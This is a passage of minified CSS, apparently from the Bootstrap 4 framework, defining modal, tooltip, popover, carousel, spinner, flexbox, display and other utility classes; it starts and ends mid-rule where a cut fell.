.modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered::before{height:calc(100vh - 3.5rem);height:-webkit-min-content;height:-moz-min-content;height:min-content}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=top]>.arrow::before,.bs-popover-top>.arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top]>.arrow::after,.bs-popover-top>.arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow::before,.bs-popover-right>.arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right]>.arrow::after,.bs-popover-right>.arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=bottom]>.arrow::before,.bs-popover-bottom>.arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom]>.arrow::after,.bs-popover-bottom>.arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow::before,.bs-popover-left>.arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left]>.arrow::after,.bs-popover-left>.arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{-ms-touch-action:pan-y;touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out;transition:transform .6s ease-in-out,-webkit-transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){-webkit-transform:translateX(100%);transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){-webkit-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;-webkit-transform:none;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:no-repeat 50%/100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{box-sizing:content-box;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@-webkit-keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;-webkit-animation:spinner-border .75s linear infinite;animation:spinner-border .75s linear infinite}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1;-webkit-transform:none;transform:none}}@keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1;-webkit-transform:none;transform:none}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:spinner-grow .75s linear infinite;animation:spinner-grow .75s linear infinite}.spinner-grow-sm{width:1rem;height:1rem}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;-ms-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;-ms-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;user-select:none!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem 